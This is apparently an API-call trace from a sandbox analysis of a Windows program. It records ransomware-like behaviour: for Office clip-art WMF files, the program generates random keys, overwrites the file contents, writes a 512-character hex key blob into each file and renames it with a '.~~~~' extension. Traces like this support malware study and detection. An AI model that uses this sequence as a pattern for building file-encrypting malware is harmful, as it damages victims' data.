	[0124.109] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x5d78, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x5d78, lpOverlapped=0x0) returned 1
	[0124.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.111] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.111] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.111] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.111] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.111] CloseHandle (hObject=0x138) returned 1
	[0124.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd4a8
	[0124.112] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf.~~~~")) returned 1
	[0124.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd4a8 | out: hHeap=0x300000) returned 1
	[0124.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.113] GetLastError () returned 0x0
	[0124.113] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.114] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.114] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.114] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24410455237) returned 1
	[0124.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb372c010, dwHighDateTime=0x1d60e1e)) 
	[0124.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28202f0
	[0124.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28202f0 | out: hHeap=0x300000) returned 1
	[0124.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee8d0
	[0124.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be710
	[0124.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee8d0 | out: hHeap=0x300000) returned 1
	[0124.115] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.115] GetLastError () returned 0x0
	[0124.116] GetLastError () returned 0x0
	[0124.116] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.116] GetLastError () returned 0x0
	[0124.116] GetLastError () returned 0x0
	[0124.120] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd23c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.120] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x2dc4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x2dc4, lpOverlapped=0x0) returned 1
	[0124.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.122] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.122] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.122] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.123] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.123] CloseHandle (hObject=0x138) returned 1
	[0124.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be710
	[0124.123] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf.~~~~")) returned 1
	[0124.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3be710 | out: hHeap=0x300000) returned 1
	[0124.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.124] GetLastError () returned 0x0
	[0124.125] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.126] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.126] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.127] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24411737014) returned 1
	[0124.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3752170, dwHighDateTime=0x1d60e1e)) 
	[0124.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820328
	[0124.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820328 | out: hHeap=0x300000) returned 1
	[0124.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee8d0
	[0124.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be7a8
	[0124.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee8d0 | out: hHeap=0x300000) returned 1
	[0124.129] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.129] GetLastError () returned 0x0
	[0124.129] GetLastError () returned 0x0
	[0124.129] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.129] GetLastError () returned 0x0
	[0124.129] GetLastError () returned 0x0
	[0124.162] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe516, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.162] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1aea, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x1aea, lpOverlapped=0x0) returned 1
	[0124.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.168] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.169] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.169] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.169] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.169] CloseHandle (hObject=0x138) returned 1
	[0124.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bceb8
	[0124.173] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf.~~~~")) returned 1
	[0124.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bceb8 | out: hHeap=0x300000) returned 1
	[0124.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.176] GetLastError () returned 0x0
	[0124.176] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.178] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.178] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.178] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24416812753) returned 1
	[0124.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb37c4590, dwHighDateTime=0x1d60e1e)) 
	[0124.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28203d0
	[0124.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28203d0 | out: hHeap=0x300000) returned 1
	[0124.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be840
	[0124.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.179] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.179] GetLastError () returned 0x0
	[0124.180] GetLastError () returned 0x0
	[0124.180] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.180] GetLastError () returned 0x0
	[0124.180] GetLastError () returned 0x0
	[0124.185] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff9ce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.185] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x632, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x632, lpOverlapped=0x0) returned 1
	[0124.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.187] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.187] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.188] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.188] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.188] CloseHandle (hObject=0x120) returned 1
	[0124.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bceb8
	[0124.188] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf.~~~~")) returned 1
	[0124.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bceb8 | out: hHeap=0x300000) returned 1
	[0124.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.190] GetLastError () returned 0x0
	[0124.190] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.192] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.192] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.192] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24418230884) returned 1
	[0124.192] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb37ea6f0, dwHighDateTime=0x1d60e1e)) 
	[0124.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820408
	[0124.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820408 | out: hHeap=0x300000) returned 1
	[0124.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bea08
	[0124.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.193] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.193] GetLastError () returned 0x0
	[0124.194] GetLastError () returned 0x0
	[0124.194] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.194] GetLastError () returned 0x0
	[0124.194] GetLastError () returned 0x0
	[0124.196] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffa72, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.196] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x58e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x58e, lpOverlapped=0x0) returned 1
	[0124.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.198] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.198] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.199] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.199] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.199] CloseHandle (hObject=0x120) returned 1
	[0124.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bea08
	[0124.199] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf.~~~~")) returned 1
	[0124.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bea08 | out: hHeap=0x300000) returned 1
	[0124.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.306] GetLastError () returned 0x0
	[0124.328] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395410) returned 1
	[0124.356] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.356] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0124.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.357] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24434686896) returned 1
	[0124.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb398d610, dwHighDateTime=0x1d60e1e)) 
	[0124.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820670
	[0124.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820670 | out: hHeap=0x300000) returned 1
	[0124.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf090
	[0124.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.358] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.358] GetLastError () returned 0x0
	[0124.358] GetLastError () returned 0x0
	[0124.358] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
